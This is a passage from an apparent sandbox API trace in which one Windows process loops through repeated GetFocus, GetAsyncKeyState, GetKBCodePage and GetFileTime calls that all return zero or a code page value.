lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.960] GetFocus () returned 0x0 [0226.960] GetAsyncKeyState (vKey=58) returned 0 [0226.960] GetKBCodePage () returned 0x1b5 [0226.960] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.960] GetFocus () returned 0x0 [0226.960] GetAsyncKeyState (vKey=58) returned 0 [0226.960] GetKBCodePage () returned 0x1b5 [0226.960] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.960] GetFocus () returned 0x0 [0226.960] GetAsyncKeyState (vKey=58) returned 0 [0226.960] GetKBCodePage () returned 0x1b5 [0226.960] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.960] GetFocus () returned 0x0 [0226.960] GetAsyncKeyState (vKey=58) returned 0 [0226.960] GetKBCodePage () returned 0x1b5 [0226.960] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.960] GetFocus () returned 0x0 [0226.960] GetAsyncKeyState (vKey=58) returned 0 [0226.960] GetKBCodePage () returned 0x1b5 [0226.960] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.960] GetFocus () returned 0x0 [0226.960] GetAsyncKeyState (vKey=58) returned 0 [0226.960] GetKBCodePage () returned 0x1b5 [0226.960] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.960] GetFocus () returned 0x0 [0226.960] GetAsyncKeyState (vKey=58) returned 0 [0226.960] GetKBCodePage () returned 0x1b5 [0226.960] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.960] GetFocus () returned 0x0 [0226.960] GetAsyncKeyState (vKey=58) returned 0 [0226.960] GetKBCodePage () returned 0x1b5 [0226.960] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.960] GetFocus () returned 0x0 [0226.960] GetAsyncKeyState (vKey=58) returned 0 [0226.961] GetKBCodePage () returned 0x1b5 [0226.961] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.961] GetFocus () returned 0x0 [0226.961] GetAsyncKeyState (vKey=58) returned 0 [0226.961] GetKBCodePage () returned 0x1b5 [0226.961] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.961] GetFocus () returned 0x0 [0226.961] GetAsyncKeyState (vKey=58) returned 0 [0226.961] GetKBCodePage () returned 0x1b5 [0226.961] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.961] GetFocus () returned 0x0 [0226.961] GetAsyncKeyState (vKey=58) returned 0 [0226.961] GetKBCodePage () returned 0x1b5 [0226.961] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.961] GetFocus () returned 0x0 [0226.961] GetAsyncKeyState (vKey=58) returned 0 [0226.961] GetKBCodePage () returned 0x1b5 [0226.962] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.962] GetFocus () returned 0x0 [0226.962] GetAsyncKeyState (vKey=58) returned 0 [0226.962] GetKBCodePage () returned 0x1b5 [0226.962] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.962] GetFocus () returned 0x0 [0226.962] GetAsyncKeyState (vKey=58) returned 0 [0226.962] GetKBCodePage () returned 0x1b5 [0226.962] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.962] GetFocus () returned 0x0 [0226.962] GetAsyncKeyState (vKey=58) returned 0 [0226.962] GetKBCodePage () returned 0x1b5 [0226.962] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.962] GetFocus () returned 0x0 [0226.962] GetAsyncKeyState (vKey=58) returned 0 [0226.962] GetKBCodePage () returned 0x1b5 [0226.962] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.962] GetFocus () returned 0x0 [0226.962] GetAsyncKeyState (vKey=58) returned 0 [0226.962] GetKBCodePage () returned 0x1b5 [0226.962] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.962] GetFocus () returned 0x0 [0226.962] GetAsyncKeyState (vKey=58) returned 0 [0226.962] GetKBCodePage () returned 0x1b5 [0226.962] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.962] GetFocus () returned 0x0 [0226.962] GetAsyncKeyState (vKey=58) returned 0 [0226.962] GetKBCodePage () returned 0x1b5 [0226.962] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.962] GetFocus () returned 0x0 [0226.962] GetAsyncKeyState (vKey=58) returned 0 [0226.963] GetKBCodePage () returned 0x1b5 [0226.963] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.963] GetFocus () returned 0x0 [0226.963] GetAsyncKeyState (vKey=58) returned 0 [0226.963] GetKBCodePage () returned 0x1b5 [0226.963] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.963] GetFocus () returned 0x0 [0226.963] GetAsyncKeyState (vKey=58) returned 0 [0226.963] GetKBCodePage () returned 0x1b5 [0226.963] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.963] GetFocus () returned 0x0 [0226.963] GetAsyncKeyState (vKey=58) returned 0 [0226.963] GetKBCodePage () returned 0x1b5 [0226.963] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.963] GetFocus () returned 0x0 [0226.963] GetAsyncKeyState (vKey=58) returned 0 [0226.963] GetKBCodePage () returned 0x1b5 [0226.963] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.963] GetFocus () returned 0x0 [0226.963] GetAsyncKeyState (vKey=58) returned 0 [0226.963] GetKBCodePage () returned 0x1b5 [0226.963] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.963] GetFocus () returned 0x0 [0226.963] GetAsyncKeyState (vKey=58) returned 0 [0226.963] GetKBCodePage () returned 0x1b5 [0226.963] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.963] GetFocus () returned 0x0 [0226.963] GetAsyncKeyState (vKey=58) returned 0 [0226.963] GetKBCodePage () returned 0x1b5 [0226.963] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.963] GetFocus () returned 0x0 [0226.963] GetAsyncKeyState (vKey=58) returned 0 [0226.963] GetKBCodePage () returned 0x1b5 [0226.963] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.964] GetFocus () returned 0x0 [0226.964] GetAsyncKeyState (vKey=58) returned 0 [0226.964] GetKBCodePage () returned 0x1b5 [0226.964] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.964] GetFocus () returned 0x0 [0226.964] GetAsyncKeyState (vKey=58) returned 0 [0226.964] GetKBCodePage () returned 0x1b5 [0226.964] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.964] GetFocus () returned 0x0 [0226.964] GetAsyncKeyState (vKey=58) returned 0 [0226.964] GetKBCodePage () returned 0x1b5 [0226.964] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.964] GetFocus () returned 0x0 [0226.964] GetAsyncKeyState (vKey=58) returned 0 [0226.964] GetKBCodePage () returned 0x1b5 [0226.964] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.964] GetFocus () returned 0x0 [0226.964] GetAsyncKeyState (vKey=58) returned 0 [0226.964] GetKBCodePage () returned 0x1b5 [0226.964] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.964] GetFocus () returned 0x0 [0226.964] GetAsyncKeyState (vKey=58) returned 0 [0226.964] GetKBCodePage () returned 0x1b5 [0226.964] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.964] GetFocus () returned 0x0 [0226.964] GetAsyncKeyState (vKey=58) returned 0 [0226.964] GetKBCodePage () returned 0x1b5 [0226.964] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.964] GetFocus () returned 0x0 [0226.964] GetAsyncKeyState (vKey=58) returned 0 [0226.964] GetKBCodePage () returned 0x1b5 [0226.964] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.964] GetFocus () returned 0x0 [0226.964] GetAsyncKeyState (vKey=58) returned 0 [0226.965] GetKBCodePage () returned 0x1b5 [0226.965] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.965] GetFocus () returned 0x0 [0226.965] GetAsyncKeyState (vKey=58) returned 0 [0226.965] GetKBCodePage () returned 0x1b5 [0226.965] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.965] GetFocus () returned 0x0 [0226.965] GetAsyncKeyState (vKey=58) returned 0 [0226.965] GetKBCodePage () returned 0x1b5 [0226.965] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.965] GetFocus () returned 0x0 [0226.965] GetAsyncKeyState (vKey=58) returned 0 [0226.965] GetKBCodePage () returned 0x1b5 [0226.965] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.965] GetFocus () returned 0x0 [0226.965] GetAsyncKeyState (vKey=58) returned 0 [0226.965] GetKBCodePage () returned 0x1b5 [0226.965] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.965] GetFocus () returned 0x0 [0226.965] GetAsyncKeyState (vKey=58) returned 0 [0226.965] GetKBCodePage () returned 0x1b5 [0226.965] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.965] GetFocus () returned 0x0 [0226.965] GetAsyncKeyState (vKey=58) returned 0 [0226.965] GetKBCodePage () returned 0x1b5 [0226.965] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.965] GetFocus () returned 0x0 [0226.965] GetAsyncKeyState (vKey=58) returned 0 [0226.965] GetKBCodePage () returned 0x1b5 [0226.965] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.965] GetFocus () returned 0x0 [0226.965] GetAsyncKeyState (vKey=58) returned 0 [0226.965] GetKBCodePage () returned 0x1b5 [0226.965] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.966] GetFocus () returned 0x0 [0226.966] GetAsyncKeyState (vKey=58) returned 0 [0226.966] GetKBCodePage () returned 0x1b5 [0226.966] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.966] GetFocus () returned 0x0 [0226.966] GetAsyncKeyState (vKey=58) returned 0 [0226.966] GetKBCodePage () returned 0x1b5 [0226.966] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.966] GetFocus () returned 0x0 [0226.966] GetAsyncKeyState (vKey=58) returned 0 [0226.966] GetKBCodePage () returned 0x1b5 [0226.966] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.966] GetFocus () returned 0x0 [0226.966] GetAsyncKeyState (vKey=58) returned 0 [0226.966] GetKBCodePage () returned 0x1b5 [0226.966] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.966] GetFocus () returned 0x0 [0226.966] GetAsyncKeyState (vKey=58) returned 0 [0226.966] GetKBCodePage () returned 0x1b5 [0226.966] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.966] GetFocus () returned 0x0 [0226.966] GetAsyncKeyState (vKey=58) returned 0 [0226.966] GetKBCodePage () returned 0x1b5 [0226.966] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0226.966] GetFocus () returned 0x0 [0226.966] 